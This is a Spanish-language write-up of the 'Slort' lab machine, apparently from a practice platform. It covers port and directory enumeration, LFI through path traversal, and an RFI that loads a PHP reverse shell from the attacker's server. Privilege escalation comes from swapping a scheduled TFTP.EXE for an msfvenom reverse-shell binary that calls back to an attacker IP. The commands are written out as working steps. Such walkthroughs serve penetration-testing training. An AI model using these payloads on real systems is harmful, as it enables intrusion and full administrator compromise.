Slort

Detalles
- Sistema Operativo: Windows
- Dificultad: Medium
- IP Address: 192.168.131.53
- Autor: AETH3RON
Resumen
Slort es una máquina Windows que sufre una vulnerabilidad crítica de inclusión de archivos. El acceso inicial se establece explotando una vulnerabilidad de Remote File Inclusion (RFI) en la aplicación web para ejecutar una reverse shell PHP. La escalada de privilegios se logra reemplazando un binario programado que se ejecuta con privilegios elevados, concediendo acceso completo al sistema tras la ejecución.
Enumeración
Nmap
Comenzamos escaneando el objetivo en busca de puertos abiertos y servicios para identificar vectores de ataque potenciales.
nmap -Pn -sS -sV -p- 192.168.131.53 -oN nmap-basic

Realizamos un escaneo más completo sobre los puertos descubiertos.
nmap -Pn -sS -sC -p21,135,139,445,3306,4443,5040,7680,8080 192.168.131.53 -oN nmap-common

El escaneo revela varios puertos abiertos, incluyendo el 8080, que parece alojar un servidor web.
Enumeración Web
Realizamos fuerza bruta de directorios contra el servidor web en el puerto 8080.
gobuster dir -u http://192.168.131.53:8080 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Descubrimos un directorio interesante llamado /site. Navegando a esta URL obtenemos más información sobre la estructura de la aplicación.

La estructura de la URL destaca inmediatamente. El parámetro page parece controlar qué contenido se muestra. Este comportamiento es un indicador fuerte de posibles vulnerabilidades de Local File Inclusion (LFI) o Remote File Inclusion (RFI).
Acceso Inicial
Para verificar la vulnerabilidad, intentamos acceder a un archivo de sistema conocido. Intentamos incluir el archivo hosts de Windows usando directory traversal.
?page=../../../../../../../../windows/system32/drivers/etc/hosts

El servidor devuelve el contenido del archivo, confirmando la vulnerabilidad LFI. Antes de extraer archivos locales, probamos Remote File Inclusion (RFI), que nos permitiría ejecutar código alojado en nuestra máquina atacante. Iniciamos un servidor web Python e intentamos incluir un recurso remoto.
?page=http://192.168.45.185/

El servidor se conecta exitosamente a nuestra máquina, confirmando que RFI está habilitado. Para ganar acceso, creamos una reverse shell PHP simple (shell.php) y la hosteamos. Luego disparamos la ejecución apuntando el parámetro page a nuestro archivo malicioso mientras un listener Netcat está activo.
?page=http://192.168.45.185/shell.php

El sitio web se congela mientras ejecuta el script, y recibimos una reverse shell en nuestro listener como el usuario rupert.

Escalada de Privilegios
Durante la enumeración post-explotación, descubrimos un directorio llamado C:\Backup. Dentro, encontramos un archivo llamado info.txt que contiene una pista crucial: el ejecutable TFTP.EXE se ejecuta cada 5 minutos.
type C:\Backup\info.txt

Comprobamos los permisos de TFTP.EXE para determinar si podemos manipularlo.
icacls TFTP.EXE

La Lista de Control de Acceso (ACL) muestra que nuestro usuario tiene Acceso Total (F) al archivo. Esto nos permite reemplazar el binario legítimo con un payload malicioso. Si la tarea se ejecuta como un usuario privilegiado, elevaremos nuestros privilegios.
Primero, renombramos el ejecutable original para hacer una copia de seguridad y limpiar la ruta.
move TFTP.EXE TFTP.EXE.BAK

A continuación, generamos un ejecutable malicioso usando msfvenom configurado para conectar de vuelta a nuestro listener.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.185 LPORT=4455 -f exe > TFTP.EXE

Transferimos el payload a la máquina objetivo. Dado que nuestro usuario actual posee SeShutdownPrivilege, en lugar de esperar a que la tarea programada se active, forzamos un reinicio para reiniciar todos los servicios y tareas inmediatamente.
shutdown /r /t 0 /f

Una vez que la máquina reinicia y las tareas se inicializan, nuestro TFTP.EXE malicioso se ejecuta. Recibimos conexión en nuestro listener como el usuario administrator.

Impacto de Negocio
Esta cadena de ataque resalta los peligros de ejecutar aplicaciones web con vulnerabilidades de inclusión de archivos en entornos de producción. La vulnerabilidad de Remote File Inclusion permite a un atacante ejecutar código PHP arbitrario apuntando la aplicación a un recurso externo malicioso — un fallo común en aplicaciones web que puede eludir controles de seguridad perimetrales tradicionales. La posterior escalada de privilegios mediante secuestro de binarios de tareas programadas demuestra cómo los procesos automatizados ejecutándose con privilegios elevados pueden ser armados. En un entorno empresarial, esta combinación permitiría a un atacante establecer acceso persistente que sobrevive a reinicios y evade la detección al aparecer como mantenimiento programado legítimo.
Referencias
- The Hacker Recipes (Remote File Inclusion):
- OWASP File Inclusion: